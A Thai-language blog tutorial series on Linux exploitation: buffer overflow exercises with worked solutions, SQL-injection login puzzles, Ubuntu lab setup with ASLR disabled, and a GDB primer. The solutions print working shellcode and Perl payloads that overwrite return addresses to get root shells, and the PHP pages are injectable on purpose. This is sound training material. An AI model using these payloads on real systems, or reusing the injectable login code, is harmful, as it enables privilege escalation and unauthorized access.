Saturday, January 8, 2011

Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 1)

หลังจากอ่านและลองทำตามมาแล้ว คราวนี้มาลองทำแบบฝึกหัดบ้าง ผมเขียนว่าแบบฝึกหัดแสดงว่า ถ้าใครอ่านมาตั้งแต่ต้นและเข้าใจ ก็น่าจะที่จะทำเองได้โดยไม่ต้องดูเฉลย (แต่ต้องคิดนิดหน่อย เพราะผมดัดแปลงแบบฝึกหัดนิดหน่อยให้ไม่เหมือนเดิม) มาดูแบบฝึกหัดข้อแรกกันเลยดีกว่า

แบบฝึกหัด1 (ex_06_3.c)

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_3 ex_06_3.c
sudo su -c "chown root: ex_06_3;chmod 4755 ex_06_3"
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buf[256];

  sprintf(buf, "%s", argv[1]);

  return 0;
}

ในแบบฝึกหัดนี้ ผมได้เปลี่ยน function จาก strcpy เป็น sprintf และผมได้เอา gcc option ออกไปตัวหนึ่งคือ -mpreferred-stack-boundary

option ที่ผมเอาออก คือกำหนดว่า stack alignment ว่าเป็นเท่าไร (ถ้าใครไม่เคยได้ยิน alignment อธิบายสั้นๆ ก็ byte alignment คืออยู่ที่ address ที่หารด้วย 1 ลงตัว word alignment คือที่หารด้วย 2 ลงตัว และ dword alignet คือหารด้วย 4 ลงตัว) โดยในตัวอย่างในหัวข้อก่อนหน้าผมได้ระบุว่าว่าเป็น 22=4 bytes แต่ครั้งนี้ให้เป็น default คือ 24=16 bytes ลอง disassemble ดูนะครับ จะเห็นความแตกต่าง

เฉลย

ก่อนจะเขียน exploit เรามาดูความแตกต่างจากการเอา option -mpreferred-stack-boundary ออกกันก่อนด้วย gdb

$ gdb -q ./ex_06_3
Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483c4 <+0>:     push   %ebp
   0x080483c5 <+1>:     mov    %esp,%ebp
   0x080483c7 <+3>:     and    $0xfffffff0,%esp  # เพิ่มขึ้นมาใน function prologue เพื่อทำ stack alignment
   0x080483ca <+6>:     sub    $0x110,%esp    # จากเดิมที่ลบ 8 bytes สำหรับส่ง argument กลายเป็น 16 bytes
   0x080483d0 <+12>:    mov    0xc(%ebp),%eax
   0x080483d3 <+15>:    add    $0x4,%eax
   0x080483d6 <+18>:    mov    (%eax),%eax
   0x080483d8 <+20>:    mov    %eax,0x4(%esp)
   0x080483dc <+24>:    lea    0x10(%esp),%eax  # เก็บ address ของ buf ไว้ที่ eax สังเกตว่าใช้ esp ไม่ได้ใช้ ebp
   0x080483e0 <+28>:    mov    %eax,(%esp)
   0x080483e3 <+31>:    call   0x80482fc <strcpy@plt>
   0x080483e8 <+36>:    mov    $0x0,%eax
   0x080483ed <+41>:    leave
   0x080483ee <+42>:    ret
End of assembler dump.
(gdb) q

จะเห็นว่า "and $0xfffffff0,%esp" เพื่อทำให้ address ของ esp หารด้วย 16 ลงตัว แล้วก็ทำ "sub $0x110,%esp" เพื่อจอง memory สำหรับ local variables และ argument ที่จะส่ง แต่จะมีการปัดค่าขึ้นให้หารด้วย 16 ลงตัว

การ and ค่า esp เพื่อทำ stack alignment ทำให้โปรแกรมไม่สามารถใช้ ebp เพื่ออ้างถึง local variables ได้ และที่มีผลกระทบต่อการเขียน exploit คือเราไม่รู้ว่า ระยะห่างจาก buf ไปถึง saved eip เป็นเท่าไร เพราะมันสามารถเปลี่ยนแปลงได้

วิธีง่ายๆ ในการแก้ปัญหานี้ก็คือ เราจะใส่ address ที่จะเขียบทับ saved eip ต่อท้าย shellcode เยอะๆ ขอแค่ address ซักอันเขียนทับ saved eip ก็พอ ตามรูป

เมื่อได้ concept แล้ว ก็ถึงเวลาทำจริง เริ่มจากการหา address ของ buf

$ gdb -q ex_06_3
Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.
(gdb) b *0x080483e3
Breakpoint 1 at 0x80483e3
(gdb) r `perl -e 'print "U"x200'`
Starting program: /home/worawit/tutz/ch06/ex_06_3 `perl -e 'print "U"x200'`

Breakpoint 1, 0x080483e3 in main ()
(gdb) x/x $esp+0x10
0xbffff540:     0x0000002c
(gdb) q

ได้ address ของ buf คือ 0xbffff540 ก็ถึงเวลา exploit โดยผมจะใส่ address ของ buf ไปทั้งหมด 10 ครั้ง คือเขียนเกิน saved eip ไปเลย เพื่อให้แน่ใจว่าโดนเขียนทับแน่ๆ แต่ที่สำคัญที่สุดคือ address ของ buf ต้องเขียนทับตรง block ของ saved eip

# nop (206 bytes) + setreuid (10 bytes) + execve (24 bytes)
$ ./ex_06_3 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x40\xf5\xff\xbf"x10'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

ได้แล้ว ง่ายมั้ยครับ แต่ผมอยากให้ลองเพิ่มเองอีกหน่อยคือ แก้จำนวนของ nop ให้เป็น 207,208,209 ดู มันจะเกิด segmentation fault แล้วถ้าไม่เข้าใจว่าทำไม ก็ให้ลองทำใน gdb นะครับ

Monday, January 3, 2011

Buffer Overflow ให้โปรแกรม spawn shell

จากตัวอย่างในหัวข้อ "GDB เบื้องต้น" จะเห็นว่าถ้าเราใส่ input เข้าไปยาวๆ จะมีการเขียนทับ saved eip ด้วย หลังจากคำสั่ง strcpy ตามรูปข้างล่าง (เลขทั้งหมดเป็นฐาน 16 นะครับ) ทำให้หลังจากจบ function main แล้ว EIP ของโปรแกรมชี้ไปที่ 0x55555555 แสดงให้เห็นว่าเราสามารถสั่งให้โปรแกรมไปทำงานที่ไหนก็ได้ และก่อนจะเริ่มผมขอย้ำอีกครั้งว่าให้ทำตาม อย่าเอาแต่อ่าน เรื่องพวกนี้จะให้เก่งต้องทำนะครับ

Note: ค่า address ที่ผมแสดง เป็น address ที่อยู่ในเครื่องของผม ซึ่งอาจจะไม่ตรงกับเครื่องอื่นๆ ดังนั้น ถ้าเห็นว่าไม่ตรง ก็ต้องแก้ไขการใส่ค่า address ต่างๆ ด้วย

เรามาดูตัวอย่างแรกกัน (ex_06_1.c) วิธี compile อยู่ที่หัวของไฟล์ (ตั้งแต่นี้ไป ดูวิธี compile เอาเองที่หัวของไฟล์นะครับ)

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_06_1 ex_06_1.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int hidden_fn()
{
  printf("You WIN\n");
  exit(0);
}

int main(int argc, char **argv)
{
  char buf[8];

  printf("Address of hidden_fn: %p\n", hidden_fn);
  strcpy(buf, argv[1]);

  return 0;
}

เป้าหมายของตัวอย่างนี้ ชัดเจนนะครับ คือให้เรียก hidden_fn() ให้ได้ เรามาลอง gdb กันก่อน

$ gdb -q ./ex_06_1
Reading symbols from /home/worawit/tutz/ch06/ex_06_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048482 <+0>:     push   %ebp
   0x08048483 <+1>:     mov    %esp,%ebp
   0x08048485 <+3>:     sub    $0x10,%esp
   0x08048488 <+6>:     mov    $0x8048588,%eax
   0x0804848d <+11>:    movl   $0x8048464,0x4(%esp)
   0x08048495 <+19>:    mov    %eax,(%esp)
   0x08048498 <+22>:    call   0x8048378 
   0x0804849d <+27>:    mov    0xc(%ebp),%eax
   0x080484a0 <+30>:    add    $0x4,%eax
   0x080484a3 <+33>:    mov    (%eax),%eax
   0x080484a5 <+35>:    mov    %eax,0x4(%esp)
   0x080484a9 <+39>:    lea    -0x8(%ebp),%eax   # โหลด address ของ buf ที่ address ebp-8
   0x080484ac <+42>:    mov    %eax,(%esp)
   0x080484af <+45>:    call   0x8048368 
   0x080484b4 <+50>:    mov    $0x0,%eax
   0x080484b9 <+55>:    leave
   0x080484ba <+56>:    ret
End of assembler dump.
(gdb) b *0x080484af    # set breakpoint ก่อนเรียก strcpy
Breakpoint 1 at 0x80484af
(gdb) r UUUUUUUU
Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUU
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) i f
Stack level 0, frame at 0xbffff710:
 eip = 0x80484af in main; saved eip 0x154bd6
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c     # จำ address ของ saved eip ไว้
(gdb) x/8x $ebp-8      # ดูค่าตั้งแต่ address ของ buf
0xbffff700:     0x080484d0      0x00000000      0xbffff788      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) ni
0x080484b4 in main ()
(gdb) x/8x $ebp-8      # จะเห็นว่าถ้าจะเขียนทับ eip ต้องใส่ input ไปทั้งหมด 16 bytes
0xbffff700:     0x55555555      0x55555555      0xbffff700      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) r UUUUUUUUUUUUABCD     # ลองดู
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUUUUUUABCD
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r eip    # จะเห็นค่า eip เปลี่ยนเป็น 0x44434241 คือ DCBA เพราะเรื่องของ endian
eip            0x44434241       0x44434241
(gdb) q
A debugging session is active.

        Inferior 1 [process 1413] will be killed.

Quit anyway? (y or n) y

จะเห็นว่าถ้าต้องการเปลี่ยนค่า saved eip ต้องใส่ข้อมูลอย่างน้อย 16 bytes โดยข้อมูล byte ที่ 12 ถึง 16 จะเป็น saved eip ที่เราต้องการจะเป็น

จาก output ของโปรแกรม address ของ hidden_fn คือ 0x8048464 แต่ตัวอักษรของค่าพวกนี้ เราพิมพ์ไม่ได้ ดังนั้นผมจะใช้ perl มาช่วย โดยจะได้คำสั่งตามนี้

$ ./ex_06_1 `perl -e 'print "U"x12 . "\x64\x84\x04\x08"'`
Address of hidden_fn: 0x8048464
You WIN

เย่ ทำได้แล้ว ให้สังเกตเรื่อง endian ด้วยนะครับ ว่าผมใส่ \x64 เป็นตัวแรก และ \x08 เป็นตัวสุดท้าย

ตัวอย่างข้างบน เราได้ทำให้โปรแกรมรัน function ที่ซ่อนไว้อยู่ แต่โดยปกตินั้น เราต้องมีการแทรก code ที่ทำงานตามที่เราต้องการ (เรียกว่า shellcode) แล้วเรียก shellcode ของเรา โดยการควบคุมค่า eip

แต่คราวนี้ผมขอเปลี่ยนขนาดของ buf เป็น 256 bytes (ex_06_2.c) (ไม่แสดง code นะครับ จะได้ไม่ยาวเกิน) และให้ 2 shellcode ต่อไปนี้ (จะมีคำอธิบายพร้อมทั้งทำให้เล็กลงในหัวข้อการเขียน Linux Shellcode)

# setreuid(0, 0)  10 bytes
\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80
# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 24 bytes (เอามาจากไหนไม่รู้ จำไม่ได้แล้ว)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80

หลังจาก compile อย่าลืมคำสั่งต่อไปนี้นะครับ

$ sudo su -c "chown root: ex_06_2;chmod 4755 ex_06_2"

ก่อนจะเริ่มทำ ลองคิดตามผมดูว่า ครั้งนี้เราต้องทำการแทรก shellcode (inject shellcode) แล้วเปลี่ยนค่า eip ไปที่ shellcode ของเรา แล้วเราจะ inject shellcode ไปที่ไหนดี

ที่เห็นชัดเจนที่สุดก็คือที่ buf ในโปรแกรมนั้นแหละ (จริงๆ แล้วที่ไหนก็ได้ใน memory) แล้ว buf มัน address อะไรละ อย่างงี้เราต้องมา gdb หากัน ลุย

$ gdb -q ./ex_06_2
Reading symbols from /home/worawit/tutz/ch06/ex_06_2...(no debugging symbols found)...done.
(gdb) disas main
... # ขอละ จะได้ไม่ยาว
   0x080483d9 <+21>:    lea    -0x100(%ebp),%eax   # buf อยู่ที่ ebp+100
   0x080483df <+27>:    mov    %eax,(%esp)
   0x080483e2 <+30>:    call   0x80482fc 
... # ขอละ จะได้ไม่ยาว
(gdb) b *0x080483e2
Breakpoint 1 at 0x80483e2
(gdb) r AAAA
Starting program: /home/worawit/tutz/ch06/ex_06_2 AAAA

Breakpoint 1, 0x080483e2 in main ()
(gdb) x/x $ebp-0x100
0xbffff608:     0x00000006    # ได้ address ของ buf มาแล้ว 0xbffff608
(gdb) q
... # ขอละ จะได้ไม่ยาว

เราได้ข้อมูลทุกอย่างแล้ว buf ที่ address 0xbffff608 และ saved eip อยู่ห่างจาก buf 256+4=260 bytes (4 bytes คือ saved ebp) และ shellcode เราก็มีแล้ว แค่เอามาต่อกัน (ใน bash ต้องมีการเรียก setreuid ก่อน execve เพราะ bash จะ set ค่า euid เป็น uid ก่อนทำ execve) ตามนี้

# setreuid 10 bytes + execve 24 bytes + junk (260-10-24=226)
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault

เอะ ทำไม??? เกิดอะไรขึ้น เรามาลองเอา suid bit ออกไปก่อน แล้วมาลองให้มี core dump ดูดีกว่า แล้วใช้ gdb ดู

$ sudo chmod 755 ex_06_2     # ถ้ามี suid bit อยู่จะไม่มี core dump
$ ulimit -c unlimited        # enable core dump เฉพาะ terminal นี้
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault (core dumped)
$ gdb -q -c core
[New Thread 1852]
Core was generated by `./ex_06_2 1▒1▒1ɰF̀1▒Phn/shh//bi▒▒RS▒▒                                                           ̀UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU`.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff640 in ?? ()
(gdb) x/4x 0xbffff608    # ทำไม address นี้เป็นขยะไปละ แล้ว shellcode เราอยู่ไหน
0xbffff608:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/8x 0xbffff608-208  # เจอแล้วที่ address 0xbffff538
0xbffff538:     0xdb31c031      0x46b0c931      0xc03180cd      0x2f6e6850
0xbffff548:     0x2f686873      0x8969622f      0x535299e3      0x0bb0e189
(gdb) q

เกิดอะไรขึ้น ทำไม buf กลายเป็นอยู่ที่ address 0xbffff538 ขอตอบสั้นๆ เพราะ argv และ env ที่ run ด้วย gdb กับจาก shell ตรงๆ มันไม่เหมือนกัน ทำให้ address ของตัวแปรต่างๆ ใน stack ถูกเปลี่ยน งั้นเราลองอีกทีด้วย address ใหม่

$ sudo chmod 4755 ex_06_2
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x38\xf5\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

ได้แล้ว กลายเป็น root แล้ว :) แต่เห็นปัญหามั้ยครับ ว่าเราต้องใส่ address ของ buf ให้มันตรงเป๊ะ อย่างงี้เปลี่ยนเครื่อง exploit เราก็อาจจะทำงานผิดพลาด

ยังจำ NOP (0x90) ในหัวข้อ assembly ได้มั้ยครับ การใส่ NOP เป็นวิธีหนึ่งที่ทำให้ exploit มี reliable มากขึ้น โดยแทนที่จะให้มีขยะต่อท้าย shellcode เราจะใส่ NOP sled ไว้ก่อน shellcode ดังนั้นค่า saved eip ที่เราเปลี่ยน ขอแค่ชี้ไปที่ address ไหนก็ได้ใน NOP sled โปรแกรมก็จะ run shellcode ของเรา (ในกรณีนี้ เราต้องมีขยะต่อท้ายอย่างน้อย 16 bytes เพื่อเว้นที่ให้ shellcode ของเราเก็บค่าต่างๆ แต่ผมเว้นไว้ 20 bytes) ตามรูปข้างล่าง

$ ./ex_06_2 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x20 . "\x08\xf6\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

จะเห็นว่า ครั้งนี้ผมใช้ address เดิมที่หาได้จาก gdb ครั้งแรก ก็ยังทำงานได้ เย่ๆ ทำได้แล้ว (อย่างน้อยก็แบบที่ง่ายที่สุด)

ก่อนจะไปหัวข้อถัดไป ผมขอให้ลองเปลี่ยน address ที่จะเขียนทับ saved eip ลองดูว่า exploit ที่มี NOP ยังทำงานได้ปกติกับหลายๆ address และให้ลองเอา shellcode setreuid ออก แล้วดูความแตกต่างระหว่างมีกับไม่มี (แก้แล้ว ต้องแก้จำนวน nop หรือ ขยะด้วยนะครับ)

Saturday, January 1, 2011

PHP Login กับ SQL Injection (คำถาม)

สวัสดีปีใหม่ ปีใหม่ทั้งที หาอะไรเล่นสนุกๆ ดีกว่า วันนี้ผมมีปัญหามาให้ทำเกี่ยวกับ sql injection 4 ข้อ เริ่มกันเลยดีกว่า

เหมือนครั้งที่แล้ว setup web server กับ mysql เอาเองนะครับ โดยใน mysql ให้สร้าง db ชื่อว่า thtutz แล้วก็ table ชื่อ members โดยมี column id, username, password แล้วใส่ user เข้าไปอย่างน้อย 2 users นะครับ ผมได้เตรียม sql batch ไว้แล้ว (db_setup.sql) แค่ run ด้วย mysql root

หลังจาก create table ใน mysql server แล้วก็เอา php code ต่อไปนี้ ไปลองทำ sql injection ดูนะครับ

ข้อ 1 (login_sqli1.php) อันนี้ทดสอบ basic

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE password='".md5($_GET['password'])."' AND username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 2 (login_sqli2.php) อันนี้ warm up

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['password'] == md5($_GET['password'])) {
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 3 (login_sqli3.php) ข้อนี้ยากที่สุดที่ผมคิดได้ เกี่ยวกับ login โดยไม่มีการทำ filter

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['username'] == $_GET['username'] && $row['password'] == md5($_GET['password'])) {
        echo "Impossible to be here with SQL injection\n";
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 4 (login_sqli4.php) เอาความคิดมาจาก LEETMORE CTF 2010

<?php
// idea from LEETMORE ctf 2010

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = 'SELECT * FROM members WHERE password="' . md5($_GET['password'], true) . '"';
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) > 0) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "Incorrect password\n";
}

mysql_close($db);

คราวนี้ใจดีมี hint ให้ หวังว่าจะช่วยได้

็Hint:
1. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
2. google

ใช้เวลากับมันหน่อยนะครับ (ข้อ3 กับ ข้อ4) เพราะผมเองก็ต้องทำเป็นชั่วโมง (ตั้งโจทย์เองแท้ๆ)

ครั้งนี้ ผมให้เวลา 2-3 สัปดาห์ แล้วค่อยเฉลย เหมือนเดิมทำได้แล้วอย่า post เฉลยนะครับ

Update: ผมได้ publish เฉลยแล้วนะครับ ถ้าคิดไม่ออกแล้วก็ กดเลยครับ

เตรียม Ubuntu สำหรับการเขียน exploit บน Linux

หัวข้อนี้ ถ้าใครเพิ่งเริ่มสามารถข้ามไปอ่านเนื้อหาก่อนได้เลย แต่แนะนำให้ทำก่อนเริ่มหัวข้อที่ 5.GDB เบื้องต้น

วิธีการลง Ubuntu ขอให้หาวิธีการลงเอาเอง ผมจะพูดถึงขั้นตอนหลังคุณ login เข้า Ubuntu ได้แล้ว แต่ตามที่ผมได้กล่าวไว้ในหัวข้อ "Buffer Overflow คืออะไร" ว่าแนะนำให้ลง Ubuntu 10.04 ใน Virtual Machine โดยโปรแกรมฟรีที่คนส่วนมากใช้กันก็มี VMWare Player กับ VirtualBox

ขั้นตอนก็มีสั้นๆ ตามนี้

1. Disable ASLR แบบ ถาวร
เพิ่ม "kernel.randomize_va_space = 0" เข้าไปใน /etc/sysctl.conf แล้วพิมพ์คำสั่ง

$ sudo sysctl -p

2. ลงโปรแกรมสำหรับ compile
พิมพ์คำสั่ง

$ sudo apt-get install build-essential binutils

3. ลง gcc3.4
พิมพ์คำสั่ง

$ sudo add-apt-repository ppa:yofel/off-ppa
$ sudo apt-get install gcc-3.4

จริงๆ แล้ว น่าจะต้องลงโปรแกรมมากกว่านี้นะครับ แต่ผมจำไม่ได้แล้ว เพราะ Ubuntu ของผมลงไปเยอะมากแล้ว เอาเป็นว่าถ้าเจอคำสั่งไหนที่ Ubuntu บอกว่าให้ลงโปรแกรมเพิ่ม ก็ลงตามที่ Ubuntu แนะนำนะครับ

GDB เบื้องต้น

GDB คือ debugger โดยปกติ programmer จะใช้สำหรับช่วยในการแก้ bug ด้วยการดูค่าของตัวแปรต่างๆ ที่บรรทัดต่างๆ ของ code แต่ในมุมมองของ hacker ตัว debugger นั้น ช่วยให้เข้าใจโปรแกรม และช่องโหว่ของโปรแกรม และเราจะได้ใช้ gdb ไปตลอด tutorial นี้ โดยหัวข้อนี้ ผมตั้งใจให้คนที่ไม่เคยใช้ gdb ได้เห็นคำสั่งต่างๆ และได้ลองนิดหน่อย (ไม่ต้องให้คล่องนะครับ ต้องได้ใช้อีกเยอะ เดี๋ยวก็จำได้เอง)

ก่อนจะเริ่ม debug ก็ต้องสั่ง gdb แล้วเราจะเข้าไปในอยู่ใน gdb แล้วสั่งคำสั่งเพื่อตรวจสอบ process ได้ โดย gdb มีรูปแบบของ parameter ที่สำคัญตามนี้

# debug โปรแกรม prog
$ gdb ./prog
# ตรวจสอบ core dump file (มีหลายรูปแบบ)
$ gdb ./prog core
$ gdb -c core ./prog
$ gdb -c core
# ส่งโปรแกรม prog arguments เข้าไปด้วย (มีหลายรูปแบบ)
$ gdb --args ./prog arg1 arg2
# attach เข้าไปใน process ที่ run อยู่ (สมมติว่า pid คือ 1234) (มีหลายรูปแบบ)
$ gdb ./prog 1234
$ gdb -p 1234

ส่วน parameter อื่นๆ ให้หาอ่านเองนะครับ ง่ายสุดก็ man gdb

หลังจากสั่ง gdb ก็จะเจอ gdb prompt โดยมีคำสั่งต่างๆ ที่ใช้บ่อยๆ สำหรับการเขียน exploit ตามนี้ (ADDR ในตารางข้างล่าง สามารถใช้ register แทนได้เช่น $eax, $esp)

คำสั่งเต็มคำสั่งย่อคำอธิบาย
runrเริ่มโปรแกรม
killkหยุดโปรแกรม
quitqออกจาก GDB
continuecทำงานต่อโดยหยุดที่ breakpoint ถัดไป
disassembledisasแสดง assembly code ของ function ที่ EIP อยู่
disassemble ADDRdisas ADDRแสดง assembly code ที่ address ADDR (ใช้ชื่อ function ได้)
disassemble ADDR1 ADDR2disas ADDR1 ADDR2แสดง assembly code ที่ address ADDR1 ถึง ADDR2
info breakpointsi bแสดง breakpoint ทั้งหมด
info registersi rแสดงค่าของ CPU registers ทั้งหมด
info framei fแสดงข้อมูลเกี่ยวกับ stack frame ปัจจุบัน
backtracebtแสดง call stack
break *ADDRb *ADDRset breakpoint ที่ address ADDR (ถ้าใช้ชื่อ function ไม่ต้องมี *)
enable [NUM]en [NUM]enable breakpoint หมายเลขที่ NUM
disable [NUM]dis [NUM]disable breakpoint หมายเลขที่ NUM
delete [NUM]d [NUM]delete breakpoint หมายเลขที่ NUM
deleteddelete breakpoint ทั้งหมด
nexti [num]ni [num]ทำงานคำสั่งถัดไป ไม่เข้าไปใน call
stepi [num]si [num]ทำงานคำสั่งถัดไป เข้าไปใน call
x/NFU ADDRแสดงค่าของ address ADDR โดย
N คือจำนวนที่จะแสดงผล
F คือรูปแบบที่จะแสดงผล (ดูตารางถัดไป)
U คือจำนวน byte มี b (byte), h (2 bytes), w (4 bytes), g (8 bytes)
display/F ADDRdisp/F ADDRแสดงค่าของ address ADDR ทุกครั้งที่ถึงหยุดทำงานชั่วคราว
displaydispแสดงค่าที่อยู่ใน display list ทั้งหมด
undisplay [NUM]und [NUM]ลบ display ที่เก็บไว้ที่ NUM
set ADDR=VALset ค่า VAL ไปที่ address ADDR

ต่อไปก็รูปแบบการแสดงผล (ค่า F จากตารางข้างบน) จะเหมือน C เกือบหมด

รูปแบบคำอธิบาย
apointer
ccharacter
dsigned decimal
ffloating point number
ooctal
sstring
tbinary
uunsigned decimal
xhexadecimal

คำสั่งตั้งเยอะ ใครจะจำได้หมด ต้องลองใช้บ่อยๆ ให้มันซึมเข้าไปเองครับ โดยผมจะลองใช้คำสั่งต่างๆ กับโปรแกรมในหัวข้อ "Buffer Overflow คืออะไร" แต่ให้ compile ตามนี้ (ex_05_1.c)

$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_1 ex_05_1.c

หลังจากนั้น มาลองใช้ gdb กัน (ให้ลองทำตามด้วยนะครับ อย่าเอาแต่อ่าน) โดยผมจะใส่คำอธิบายไว้หลังเครื่องหมาย # (ไม่ต้องพิมพ์นะครับ คำอธิบายนะครับ) และตามสัญญาจากหัวข้อที่แล้ว ว่าจะให้เห็นการส่งผ่าน argument อีกรูปหนึ่ง (สำหรับคนที่ไม่ชอบ AT&T syntax สามารถใช้คำสั่ง set disassembly-flavor intel เพื่อให้เป็น MASM syntax แต่ผมแนะนำให้ใช้ default เพื่อที่จะได้รู้หลากหลาย)

$ gdb -q ./ex_05_1
Reading symbols from /home/worawit/tutz/ch05/ex_05_1...(no debugging symbols found)...done.
(gdb) disas main   # disassemble main
   0x08048434 <+0>:     push   %ebp
   0x08048435 <+1>:     mov    %esp,%ebp
   0x08048437 <+3>:     sub    $0x14,%esp  # หัวข้อที่แล้ว -0xc แต่คราวนี้ -0x14 เพิ่มมา 8 bytes ใช้สำหรับส่ง argument ให้ strcpy
   0x0804843a <+6>:     movl   $0x0,-0x4(%ebp)
... # ขอละไว้ มันยาว
   0x08048455 <+33>:    mov    0xc(%ebp),%eax  # เอา argument ตัวที่ 2 (argv) ไปที่
   0x08048458 <+36>:    add    $0x4,%eax     # eax+4 เพื่อชี้ไปที่ address ของ argv[1]
   0x0804845b <+39>:    mov    (%eax),%eax   # เอาค่าของ argv[1] เก็บใน eax
   0x0804845d <+41>:    mov    %eax,0x4(%esp) # เก็บไปไว้ที่ esp+4 (เป็น argument ตัวที่ 2 ของ strcpy)
   0x08048461 <+45>:    lea    -0xc(%ebp),%eax # โหลด address ของ buf ไว้ที่ eax
   0x08048464 <+48>:    mov    %eax,(%esp) # เก็บไปไว้ที่ esp (เป็น argument ตัวที่ 1 ของ strcpy)
   0x08048467 <+51>:    call   0x8048344 <strcpy@plt>
... # ขอละไว้ มันยาว
(gdb) b main     # set breakpoint ไว้ที่ main
Breakpoint 1 at 0x804843a    # สังเกตว่า set ที่หลัง function prologue
(gdb) r
Starting program: /home/worawit/tutz/ch05/ex_05_1

Breakpoint 1, 0x0804843a in main ()
(gdb) b *0x08048467    # set breakpoint ที่คำสั่ง call strcpy
Breakpoint 2 at 0x8048467
